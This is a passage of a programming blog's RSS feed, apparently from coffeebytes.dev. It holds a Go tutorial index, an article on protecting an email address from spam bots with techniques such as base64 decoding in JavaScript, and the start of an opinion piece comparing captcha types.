href=&#34;https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: channels, understanding the goroutines deadlocks &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The basics of race conditions when working with concurrent code and how to prevent them. Create race condition resistant code using mutexes in Go&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-race-conditions-on-goroutines-and-mutexes/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: race conditions on goroutines and mutexes &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;go-programming-language-tutorial-testing-and-logging&#34;&gt;Go Programming Language Tutorial: Testing and Logging&lt;/h2&gt;&#xA;&lt;p&gt;The basis of go testing and coverage capabilities.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: basic testing and coverage &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;How to profile and examine code performance using go.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: profiling or basic profiling of CPU usage &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;How to use the default logging library in go programming language.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/logging-with-the-standard-library-in-go/&#34;&gt;&#xA;  &#xA;    &#xA;      Logging with the standard library in Go &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;go-applications&#34;&gt;Go Applications&lt;/h2&gt;&#xA;&lt;p&gt;How to catch signals and process them in go to end your code execution in an elegant and safe way.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-handling-signals-for-closing-applications/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: Handling Signals for Closing Applications &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Learn how to handle SQL migrations using go&amp;rsquo;s migrate library&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/&#34;&gt;&#xA;  &#xA;    &#xA;      Go Migration Tutorial with migrate &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The basis of go&amp;rsquo;s reflection library and how to create flexible code that deals with unknown types&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-with-reflect-discover-how-reflect-can-boost-your-programs-flexibility/&#34;&gt;&#xA;  &#xA;    &#xA;      Go with Reflect: Boost Your Code&amp;#39;s Flexibility &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Did you know that Docker is written in Go? Have you ever wondered how does a docker container works internally? Well I explain all the concepts that you need to know here in order to create your own containerization technology.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/how-does-a-docker-container-work-internally/&#34;&gt;&#xA;  &#xA;    &#xA;      How Does a Docker Container Work Internally? &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I explain the worker pool design pattern in go and how to take advantage of Go&amp;rsquo;s concurrency and this design pattern to limit the amount of resources that your application uses.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/worker-pool-design-pattern-explanation/&#34;&gt;&#xA;  &#xA;    &#xA;      Worker Pool Design Pattern Explanation &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;I wrote a series of entries trying to serve as a guide an introduction to learn the Go programming language. This tutorial requires you to know at least the basis of programming, so it&amp;rsquo;s probably a good idea to read this only if you&amp;rsquo;re learning Go as your second or third programming language. This content goes from Go&amp;rsquo;s basic syntax to advances uses as signal catching or containerization.&lt;/p&gt;&#xA;&lt;h2 id=&#34;go-language-introduction-and-basic-syntax&#34;&gt;Go language introduction and Basic Syntax&lt;/h2&gt;&#xA;&lt;p&gt;Introduction to the Go programming language, native data types, variables, the controversy around this language, the good, the bad, the ugly and even a glimpse to its popular, and sometimes hated, mascot.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to avoid spam when putting an email on a website?</title>
      <link>https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/</link>
      <pubDate>Wed, 29 May 2024 14:46:07 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/</guid>
      
      <category>opinion</category>
      
      <category>seo</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Sometimes we want to put an email on a website but without exposing it to be read by some random bot that includes us in an advertising list, reminding us of our problems to start a physical relationship with the two mature women who live less than two kilometers away. And since we don&amp;rsquo;t want that, there are several things we can do to solve this and here I present some solutions, the last one is the one I usually use and also my favorite.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/images/prince-from-nigeria-scam.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/images/prince-from-nigeria-scam.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Classic scam email from a Prince from Nigeria&#34; width=&#34;750&#34; height=&#34;750&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;convert-your-email-to-an-image-and-avoid-spam&#34;&gt;Convert your email to an image and avoid spam&lt;/h2&gt;&#xA;&lt;p&gt;This way to protect your email address requires no detailed explanation, just turn your email into an image and place it, your address will be safe from any text scraping bot, but it will be vulnerable to any bot with &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/ocr-with-tesseract-python-and-pytesseract/&#34;&gt;OCR (Optical Character Recognition) capabilities, bots with pytesseract for example&lt;/a&gt;&#xA;, which I predict will be few if any.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/images/email-image.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/images/email-image.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;email address in an image&#34; width=&#34;200&#34; height=&#34;55&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The disadvantage of this approach is that the person who wants to send you an email will have to type it in manually, as they can&amp;rsquo;t copy-paste, and you know that every extra step adds friction to the conversion process.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;use-a-different-email-notation&#34;&gt;Use a different email notation&lt;/h2&gt;&#xA;&lt;p&gt;Instead of using the classic format like &lt;em&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;mailto:my@email.com&#34;&gt;my@email.com&lt;/a&gt;&#xA;&lt;/em&gt;, change it to something less obvious to bots, like &lt;em&gt;my [at] email [dot] com&lt;/em&gt;, this way your address won&amp;rsquo;t be detected as an email by less sophisticated bots and if someone wants to send you an email just replace the &lt;em&gt;at&lt;/em&gt; and &lt;em&gt;dot&lt;/em&gt; with their corresponding symbols.&lt;/p&gt;&#xA;&lt;p&gt;A pretty balanced option, although if it becomes popular I&amp;rsquo;m sure my blue pill factory ambassadors will find a way to get the valuable information they need.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ask-the-user-to-generate-the-email-with-extra-information&#34;&gt;Ask the user to generate the email with extra information&lt;/h2&gt;&#xA;&lt;p&gt;Another way is not to put the email directly, but a hint as to how it can be deduced, for example if the site is called &lt;em&gt;lain.com&lt;/em&gt; you can write a text as a hint that says something like:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;&amp;ldquo;My email is the name that appears in the url and is a google email address&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;With that we will understand that the address is &lt;em&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;mailto:lain@gmail.com&#34;&gt;lain@gmail.com&lt;/a&gt;&#xA;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Just try not to complicate things too much here, don&amp;rsquo;t overestimate the deductive capabilities of the average web surfer.&lt;/p&gt;&#xA;&lt;h2 id=&#34;use-a-form-instead-of-an-email-address&#34;&gt;Use a form instead of an email address&lt;/h2&gt;&#xA;&lt;p&gt;Another option is to completely forget about placing your email and use a form instead, this way your email will be safe from spam and you can direct the emails to a unique account that you use for that single purpose.&lt;/p&gt;&#xA;&lt;h3 id=&#34;protect-your-form-from-spam-with-a-captcha&#34;&gt;Protect your form from spam with a captcha&lt;/h3&gt;&#xA;&lt;p&gt;Of course some bots will try to fill out the form to send you advertisements but you can always use &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/&#34;&gt;a strong captcha to protect yourself from spam&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/images/captcha-frieren-fern.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/images/captcha-frieren-fern.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Anime captcha image from Freiren&#34; width=&#34;500&#34; height=&#34;736&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;use-custom-email-spam-filters&#34;&gt;Use custom email spam filters&lt;/h3&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t want to use captchas you can leave the responsibility of recognizing spam to your email provider&amp;rsquo;s filters, or use a customized filter created by you and combine it with some instruction like:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;&amp;ldquo;To know that you are not a bot, please include the word &lt;em&gt;jelly bean&lt;/em&gt; in your email. ”&lt;/em&gt; *.&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Now just set up your filter and automatically delete all emails that do not meet this condition.&lt;/p&gt;&#xA;&lt;h2 id=&#34;avoid-spam-generating-your-email-dynamically&#34;&gt;Avoid spam generating your email dynamically&lt;/h2&gt;&#xA;&lt;p&gt;This is my favorite, to achieve this we can use some kind of simple encryption, or even base64, &lt;strong&gt;encode our email address in base64 and then decode it in the frontend dynamically using Javascript&lt;/strong&gt;, this way the bots will only see a bunch of numbers and letters in the source code, to read the email they will need to render the page with javascript enabled, which eliminates those bots that only read the source code of the response.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// this comes from the server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; encodedEmail &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;eW91YXJlY3VyaW91c0BpbGlrZWl0LmNvbQ==&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// atob decodes from base64&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; decodedEmail &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; atob(encodedEmail)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For an ordinary user, the email will be displayed as if it were included in the source code of the page.&lt;/p&gt;&#xA;&lt;h3 id=&#34;generate-an-email-dynamically-with-user-interaction&#34;&gt;Generate an email dynamically with user interaction.&lt;/h3&gt;&#xA;&lt;p&gt;To make this protection method more secure we can delay the decoding until the user presses a button, scrolls, makes a mouse movement or even use the intersection observer to decode it only if the email is on screen; the limit is your imagination.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Sometimes we want to put an email on a website but without exposing it to be read by some random bot that includes us in an advertising list, reminding us of our problems to start a physical relationship with the two mature women who live less than two kilometers away. And since we don&amp;rsquo;t want that, there are several things we can do to solve this and here I present some solutions, the last one is the one I usually use and also my favorite.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>My Analysis Of Anti Bot Captchas and their  Advantages And Disadvantages</title>
      <link>https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/</link>
      <pubDate>Sat, 18 May 2024 23:03:15 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/</guid>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;This is my analysis of some of the most popular captcha options out there and my opinion as a user on their advantages and disadvantages, this analysis includes google recaptcha, sliding captchas, simple questions, letter and number recognition and the most bot resistant captcha I know of.&lt;/p&gt;&#xA;&lt;h2 id=&#34;google-recaptcha-and-similar&#34;&gt;Google recaptcha and similar&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m sure you already know this one, as it&amp;rsquo;s the most common, and probably the most popular captcha out there. Google&amp;rsquo;s and Cloudflare&amp;rsquo;s stand out here.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/recaptcha-open-ai-sam-altman.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/recaptcha-open-ai-sam-altman.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Recaptcha elon musk&#34; width=&#34;402&#34; height=&#34;603&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The inner workings of this type of captcha are very complex and are based on recognizing patterns in a user&amp;rsquo;s traffic and probably analyzing them against the large amount of information they have collected over the years to then decide if there is a significant probability that a user is a bot.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/recaptcha-style-captcha.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/recaptcha-style-captcha.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Recaptcha style captcha solved&#34; width=&#34;576&#34; height=&#34;170&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;For a hypothetical user it is usually enough to click the checkbox and that&amp;rsquo;s it, but if we don&amp;rsquo;t convince the captcha algorithm, it will ask us to &lt;del&gt;train its AI models for free&lt;/del&gt; a couple of more tests in which we will have to identify images.&lt;/p&gt;&#xA;&lt;p&gt;The only disadvantage I see to this type of captcha is that by using it we are feeding google with more information about the users of our website. And you may not mind that google collects more information, if this is the case I can only bring up the Cambridge Analytica scandal.&lt;/p&gt;&#xA;&lt;p&gt;My veredict:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Security: 9&lt;/li&gt;&#xA;&lt;li&gt;User friendly: 8 wiithout image recognition and 5 with it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;basic-questions-captchas&#34;&gt;Basic questions captchas&lt;/h2&gt;&#xA;&lt;p&gt;There are more primitive captcha options, but no less effective such as a simple question: &lt;em&gt;How much is 7 + 2?&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To solve it, just read it and enter the correct result.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/simple-question-captcha.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/simple-question-captcha.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simple Question captcha example&#34; width=&#34;459&#34; height=&#34;265&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;I find this kind of captchas super practical to deal with most of the bots that blindly roam the internet, and they are also minimally invasive for the user.&lt;/p&gt;&#xA;&lt;p&gt;Their disadvantage, it seems to me, is their weakness against a personalized attack, since it will be enough for a human to enter the website, read the question and adapt the code to his convenience.&lt;/p&gt;&#xA;&lt;p&gt;I also consider that, with the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;rise of AI, despite the overhype&lt;/a&gt;&#xA; they will become obsolete, since it is enough to ask the AI to read the label of the input and generate an appropriate response.&lt;/p&gt;&#xA;&lt;p&gt;My veredict:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Security: 6&lt;/li&gt;&#xA;&lt;li&gt;User friendly: 8&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;character-recognition-captchas&#34;&gt;Character recognition captchas&lt;/h2&gt;&#xA;&lt;p&gt;Another popular alternative to simple questions is to use an image with numbers and letters and ask the user to identify them and place them in the appropriate field, these letters are distorted in some way to make them unrecognizable to bots.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      